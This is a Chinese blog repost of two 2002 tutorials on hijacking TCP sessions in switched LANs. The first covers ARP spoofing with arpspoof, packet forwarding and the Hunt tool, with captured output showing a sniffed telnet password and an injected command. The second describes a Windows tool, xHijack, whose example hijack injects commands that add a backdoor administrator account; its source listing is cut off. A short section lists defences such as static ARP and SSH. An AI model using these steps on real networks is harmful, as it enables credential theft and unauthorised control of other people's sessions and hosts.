交换环境下的会话劫持 so cool

本文详细介绍了如何在交换环境下实现会话劫持,包括利用arpspoof进行ARP欺骗、使用fragrouter转发数据包以及利用Hunt进行会话劫持。攻击者通过欺骗主机的ARP缓存,将数据包重定向到攻击者机器,然后通过转发工具保持通信,并最终利用会话劫持工具接管会话。防御方法包括使用静态ARP、通信加密和限制连接。
摘要由CSDN通过智能技术生成

交换环境下的会话劫持


创建时间:2002-04-09
文章属性:原创
文章来源:http://xfocus.net
文章提交:psef (psef_at_163.com)

交换环境下的会话劫持

                                       作者:psef

一.前言:
在交换式网络环境之下,数据包被发送给指定端口,为会话劫持增加了难度。但是,还是可以在交换式网络上实现会话劫持和监视会话的。本文主要介绍一下如何利用arpspoof、fragrouter和hunt在交换环境下进行会话劫持。

二.攻击:

环境:
用户    IP:  10.10.10.1  win2k
服务器  IP:  10.10.10.2  linux
攻击者  IP:  10.10.10.3  linux
注:三台机器是连在一个交换机上的。

软件:
arpspoof是dsniff软件包的一个程序,可以用来进行ARP欺骗,另外dsniff还有一些攻击和欺骗的东东。
fragrouter是一个包转发工具,可以利用测试IDS包重组的能力。
Hunt是一个会话劫持的工具,操作简单,功能强大。

原理:通过arpspoof进行ARP欺骗,让两台机器通信的数据包留经攻击者的机器,然后利用fragrouter进行转包,最后利用Hunt进行会话劫持。

过程:
1.获取MAC地址
[root@w3w6 dsniff-2.3]#ping 10.10.10.1
64 bytes from 10.10.10.1: icmp_seq=0 ttl=128 time=1.3ms
...
[root@w3w6 dsniff-2.3]#ping 10.10.10.2
64 bytes from 10.10.10.2: icmp_seq=0 ttl=255 time=3.8ms
...
--这样攻击者就知道了10.10.10.1和10.10.10.2的MAC地址

2.ARP欺骗:是利用广播地址上主机保持周边计算机信息方式的固有安全弱点,使用伪造的MAC地址和IP地址伪装成ARP高速缓存中的另外一台主机的技术。攻击者可以伪造其它主机的MAC地址,通过伪造ARP回应获取LAN内的一台主机发送给另外一台主机的数据包。

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.1 10.10.10.2
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:1:2:9a:19:bd 0806 42: arp reply 10.10.10.2 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.1服务器10.10.10.2的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.1发向10.10.10.2的数据包都重定向到10.10.10.3

[root@w3w6 dsniff-2.3]# ./arpspoof -i eth0 -t 10.10.10.2 10.10.10.1
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
0:50:56:7b:b4:d8 0:50:56:59:2a:a2 0806 42: arp reply 10.10.10.1 is-at 0:50:56:7b:b4:d8
--告诉10.10.10.12用户10.10.10.1的MAC地址为00:50:56:7b:b4:d8,也就是攻击者的MAC地址,这样10.10.10.2发向10.10.10.1的数据包都重定向到10.10.10.3

--通过上面的两个arpspoof命令,攻击者完成了ARP欺骗,造成用户和服务器的通信完全重定向到攻击者的机器。
但是,为了使客户和服务器正常的通信,需要将攻击者机器的IP转发功能打开,使其起到一个路由器的功能。

3.数据转发:转发客户和服务器间的数据包
一是利用linux内核进行转,echo 1 > /proc/sys/net/ipv4/ip_forward
二是利用fragrouter,简单的打开包转发功能
[root@w3w6 fragrouter-1.6]# ./fragrouter  -B1
....
10.10.10.1.1558 > 10.10.10.2.80: S 2776465951:2776465951(0) win 16384 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.2.80 > 10.10.10.1.1558: S 35432263:35432263(0) ack 2776465952 win 5840 <mss 1460,nop,nop,sackOK> (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.1.1558 > 10.10.10.2.80: P 2776465952:2776466230(278) ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . ack 2776466230 win 6432 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35432264:35433724(1460) ack 2776466230 win 6432 (DF)
10.10.10.1.1558 > 10.10.10.2.80: . ack 35432264 win 17520 (DF)
10.10.10.2.80 > 10.10.10.1.1558: . 35435184:35436644(1460) ack 2776466230 win 6432 (DF)
...
--可以看出10.10.10.1与10.10.10.2的通信已经被重定向到10.10.10.3

4.会话劫持:劫持一个现存的会话,利用合法用户进行连接并通过验证,之后顺其自然接管会话。会话劫持有两种方式:积极的攻击方式和消极的攻击方式。积极的攻击方式中,黑客需要寻找动态的会话并且接管它,这种方式需要使用户下线、不再参与会话。消极的攻击方式中,黑客劫持会话,但是隐藏在后方观察并且记录发送和接收的信息。下面采用混合型攻击方式:先监视会话,然后劫持会话。

[root@w3w6 hunt-1.5]# ./hunt
/*
*      hunt 1.5
*      multipurpose connection intruder / sniffer for Linux
*      (c) 1998-2000 by kra
*/
starting hunt
--- Main Menu --- rcvpkt 3, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u)     host up tests
a)     arp/simple hijack (avoids ack storm if arp used)
s)     simple hijack
d)     daemons rst/arp/sniff/mac
o)     options
x)     exit
*> l
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23] ----用户正在telnet到服务器
-
--监视会话
-> w                          
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23]

choose conn> 0
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break
tttttteeeeeesssssstttttt


Password: Password: Password: ttteeesssttt


Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
Last login: Fri Mar 22 19:35:39 from 10.10.10.1
[test@w3w7 test]$ [test@w3w7 test]$ [test@w3w7 test]$ lllsss

haha  hehe  
...
----可见用户刚登录,用户名为test,口令也为test(呵呵,这是巧合,未必一定能在用户登录的时候监视到,除非是一直监视或是运气好),用户登录后执行了ls命令

--会话劫持
-> s                      
0) 10.10.10.1 [1364]      --> 10.10.10.2 [23]

choose conn> 0
dump connection y/n [n]> y
dump [s]rc/[d]st/[b]oth [b]> b
print src/dst same characters y/n [n]> y

CTRL-C to break

-- press any key> Enter the command string you wish executed or [cr]> mkdir heihei
mkdir heihei
[root@w3w7 test]# ACK storm detected - reset after 4s

hunt: possible ACK storm: 0) 10.10.10.2 [23]    --> 10.10.10.1 [1364]
.......

reset done

---这时用户与服务器的会话中断,用户需要重新登录

[root@w3w7 test]#ls
haha hehe heihei

可见攻击者已将mkdir heihei命令插入到用户与服务器的会话中,劫持成功,当然还可以执行一些中间命令,如创建用户、删除文件等。不过同时要根据劫持的用户的权限而定,如果劫持的是超级用户,嘿嘿,就可以...

同样原理,如果使用sniffit或者dsniff代替hunt就可以进行嗅探了,如果不习惯的话,还可以利用windows下的sniffer Pro进行抓包,这时只要把攻击的linux装在VMware下即可。

三.防御:

防止ARP欺骗:
1.不要把网络安全信任关系建立在ip基础上或MAC基础上,理想的关系应该建立在ip+MAC基础上。
2.使用静态ARP,禁止自动更新,使用手动更新。
3.定期检查ARP请求,使用ARP监视工具,例如ARPWatch监视并探测ARP欺骗。

防止会话劫持:
1.通信和会话加密,使用安全协议,例如使用SSH代替telnet和ftp,使用SSL代替http。
2.限制连接,减少黑客进行会话劫持的机会。
3.完善认证措施,即不仅仅在建立会话时进行认证。

四.后语:
希望在交换网络的用户注意数据传输的安全。同时希望不要利用上面的技术在公司内部的交换网络进行破坏,否则后果自负。

再谈交换环境下的会话劫持(For windows2000)


创建时间:2002-08-19
文章属性:原创
文章提交:eyas (ey4s_at_21cn.com)

再谈交换环境下的会话劫持(For windows2000)
作者:eyas


第一步是开启IP Routing的功能,修改注册表
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip/Parameters/IPEnableRouter为0x1,重启系统即可。
第二步是ARP欺骗,具体原理我就不说了。
第三步就是开始劫持啦。

我写了个程序xHijack可以实现第二、三步功能,使用如下:

Usage: xHijack ServerSide ClientSide

下面根据三种不同的情况分别说明如何输入参数:
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可
c:/>xHijack 192.168.0.2 192.168.0.3
劫持前数据流程:server <--> client
劫持后数据流程:server <--> hijacker <--> client

<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
xHijack 202.202.202.2 202.202.202.1
劫持前数据流程:server <--> gw <--> routes <--> client
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client

<3>客户端、劫持者处于同一局域网,服务器处于别的网络。
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数
xHijack 192.168.0.1 192.168.0.2
劫持前数据流程:client <--> gw <--> routes <--> server
劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server

输入两个参数后,会提示你选择网卡,然后会提示
l               <-- List all connections
r x             <-- Reset the number x connection
w x             <-- Watch the number x connection
h x command     <-- Hijack the number x connection to execute command

list、reset、watch命令我就不解释了。
假如现在有如下连接
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
我们想要劫持这个连接运行我们的命令,输入
xHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。

劫持的流程如下:
<1>伪装成Server给Client发一个rst包
<2>伪装成Client给Server发了一个数据包
<3>Server回一个ACK包给client
<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server

这样的话,我们只能发一个伪造的包,但我想已经足够了。
想要一直劫持那个连接也可以,如下
<1>伪装成Server给Client发一个rst包
<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
<3>伪装成Client给Server发了一个数据包
<4>Server回一个ACK包给client
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。

不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。


刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题,
还请各位多多指点。

BTW:我没有空间,编译好的程序没地方放:(



参考资料
<>交换环境下的会话劫持
<>交换网络中的嗅探和ARP欺骗


以下是程序代码
----------------------------------------------------------------------
/*-----------------------------------------------------------------------------
File            : xHijack.c
Version            : 1.0
Create at        : 2002/8/12
Last modifed at    : 2002/8/19
Author            : eyas
Email            : ey4s@21cn.com
HomePage        : www.ey4s.org
感谢refdom和shotgun发布的源代码,使我获益非浅。
If you modify the code, or add more functions, please email me a copy.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值